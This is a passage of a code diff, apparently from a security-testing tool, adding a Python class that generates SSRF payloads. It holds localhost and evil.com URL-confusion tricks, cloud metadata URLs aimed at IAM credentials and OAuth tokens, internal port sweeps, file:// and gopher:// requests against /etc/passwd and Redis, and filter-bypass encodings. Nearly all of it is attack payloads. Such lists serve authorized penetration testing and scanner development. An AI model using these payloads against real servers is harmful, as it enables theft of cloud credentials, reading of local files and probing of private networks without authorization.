"http://evil.com@127.0.0.1",
|
|
62
|
+
|
|
63
|
+
# Domain confusion
|
|
64
|
+
"http://127.0.0.1.evil.com",
|
|
65
|
+
"http://127.0.0.1%00.evil.com",
|
|
66
|
+
"http://127.0.0.1%09.evil.com",
|
|
67
|
+
]
|
|
68
|
+
yield from payloads
|
|
69
|
+
|
|
70
|
+
@classmethod
|
|
71
|
+
def cloud_metadata(cls) -> Iterator[str]:
|
|
72
|
+
"""Cloud metadata service endpoints"""
|
|
73
|
+
payloads = [
|
|
74
|
+
# AWS
|
|
75
|
+
"http://169.254.169.254/latest/meta-data/",
|
|
76
|
+
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
|
77
|
+
"http://169.254.169.254/latest/user-data/",
|
|
78
|
+
"http://169.254.169.254/latest/dynamic/instance-identity/document",
|
|
79
|
+
|
|
80
|
+
# GCP
|
|
81
|
+
"http://metadata.google.internal/computeMetadata/v1/",
|
|
82
|
+
"http://169.254.169.254/computeMetadata/v1/",
|
|
83
|
+
|
|
84
|
+
# Azure
|
|
85
|
+
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
|
|
86
|
+
"http://169.254.169.254/metadata/identity/oauth2/token",
|
|
87
|
+
|
|
88
|
+
# DigitalOcean
|
|
89
|
+
"http://169.254.169.254/metadata/v1/",
|
|
90
|
+
|
|
91
|
+
# Oracle Cloud
|
|
92
|
+
"http://169.254.169.254/opc/v1/instance/",
|
|
93
|
+
|
|
94
|
+
# Alibaba Cloud
|
|
95
|
+
"http://100.100.100.200/latest/meta-data/",
|
|
96
|
+
|
|
97
|
+
# Kubernetes
|
|
98
|
+
"https://kubernetes.default.svc/",
|
|
99
|
+
"https://kubernetes.default/",
|
|
100
|
+
]
|
|
101
|
+
yield from payloads
|
|
102
|
+
|
|
103
|
+
@classmethod
|
|
104
|
+
def internal_networks(cls) -> Iterator[str]:
|
|
105
|
+
"""Internal network scanning payloads"""
|
|
106
|
+
# Common internal IPs
|
|
107
|
+
internal_ips = [
|
|
108
|
+
"10.0.0.1",
|
|
109
|
+
"10.0.0.254",
|
|
110
|
+
"192.168.0.1",
|
|
111
|
+
"192.168.1.1",
|
|
112
|
+
"192.168.1.254",
|
|
113
|
+
"172.16.0.1",
|
|
114
|
+
"172.31.0.1",
|
|
115
|
+
]
|
|
116
|
+
|
|
117
|
+
# Common internal ports
|
|
118
|
+
ports = [22, 80, 443, 8080, 8443, 3306, 5432, 6379, 27017, 9200]
|
|
119
|
+
|
|
120
|
+
for ip in internal_ips:
|
|
121
|
+
yield f"http://{ip}"
|
|
122
|
+
for port in ports:
|
|
123
|
+
yield f"http://{ip}:{port}"
|
|
124
|
+
|
|
125
|
+
@classmethod
|
|
126
|
+
def protocols(cls) -> Iterator[str]:
|
|
127
|
+
"""Protocol smuggling payloads"""
|
|
128
|
+
payloads = [
|
|
129
|
+
# File protocol
|
|
130
|
+
"file:///etc/passwd",
|
|
131
|
+
"file:///c:/windows/win.ini",
|
|
132
|
+
"file://localhost/etc/passwd",
|
|
133
|
+
|
|
134
|
+
# Gopher protocol (for internal service exploitation)
|
|
135
|
+
"gopher://127.0.0.1:6379/_INFO",
|
|
136
|
+
"gopher://127.0.0.1:11211/_stats",
|
|
137
|
+
|
|
138
|
+
# Dict protocol
|
|
139
|
+
"dict://127.0.0.1:6379/INFO",
|
|
140
|
+
|
|
141
|
+
# LDAP
|
|
142
|
+
"ldap://127.0.0.1",
|
|
143
|
+
|
|
144
|
+
# FTP
|
|
145
|
+
"ftp://127.0.0.1",
|
|
146
|
+
"sftp://127.0.0.1",
|
|
147
|
+
|
|
148
|
+
# SMB (Windows)
|
|
149
|
+
"\\\\127.0.0.1\\c$",
|
|
150
|
+
|
|
151
|
+
# Netdoc
|
|
152
|
+
"netdoc:///etc/passwd",
|
|
153
|
+
]
|
|
154
|
+
yield from payloads
|
|
155
|
+
|
|
156
|
+
@classmethod
|
|
157
|
+
def filter_bypass(cls) -> Iterator[str]:
|
|
158
|
+
"""Filter bypass techniques"""
|
|
159
|
+
payloads = [
|
|
160
|
+
# URL encoding
|
|
161
|
+
"http://%31%32%37%2e%30%2e%30%2e%31",
|
|
162
|
+
|
|
163
|
+
# Domain redirects (DNS rebinding setup required)
|
|
164
|
+
"http://localtest.me", # Resolves to 127.0.0.1
|
|
165
|
+
"http://spoofed.burpcollaborator.net",
|
|
166
|
+
|
|
167
|
+
# Short URL redirects
|
|
168
|
+
"http://bit.ly/redirect-to-localhost",
|
|
169
|
+
|
|
170
|
+
# Using @ for URL confusion
|
|
171
|
+
"http://google.com@127.0.0.1",
|
|
172
|
+
"http://127.0.0.1#@google.com",
|
|
173
|
+
"http://127.0.0.1?@google.com",
|
|
174
|
+
|
|
175
|
+
# Case variations
|
|
176
|
+
"http://LOCALHOST",
|
|
177
|
+
"http://LocalHost",
|
|
178
|
+
|
|
179
|
+
# Dot variations
|
|
180
|
+
"http://127。0。0。1", # Full-width dots
|
|
181
|
+
|
|
182
|
+
# CRLF injection
|
|
183
|
+
"http://127.0.0.1%0d%0a",
|
|
184
|
+
]
|
|
185
|
+
yield from payloads
|
|
186
|
+
|
|
187
|
+
@classmethod
|
|
188
|
+
def with_callback(cls, callback_url: str) -> Iterator[str]:
|
|
189
|
+
"""Payloads with external callback"""
|
|
190
|
+
payloads = [
|
|
191
|
+
callback_url,
|
|
192
|
+
f"{callback_url}?ssrf=test",
|
|
193
|
+
f"http://127.0.0.1@{callback_url.replace('http://', '')}",
|
|
194
|
+
]
|
|
195
|
+
yield from payloads
|
|
196
|
+
|
|
197
|
+
@classmethod
|
|
198
|
+
def all(cls) -> Iterator[str]:
|
|
199
|
+
"""All SSRF payloads"""
|
|
200
|
+
yield from cls.localhost()
|
|
201
|
+
yield from cls.cloud_metadata()
|
|
202
|
+
yield from cls.internal_networks()
|
|
203
|
+
yield from cls.protocols()
|
|
204
|
+
yield from cls.filter_bypass()
|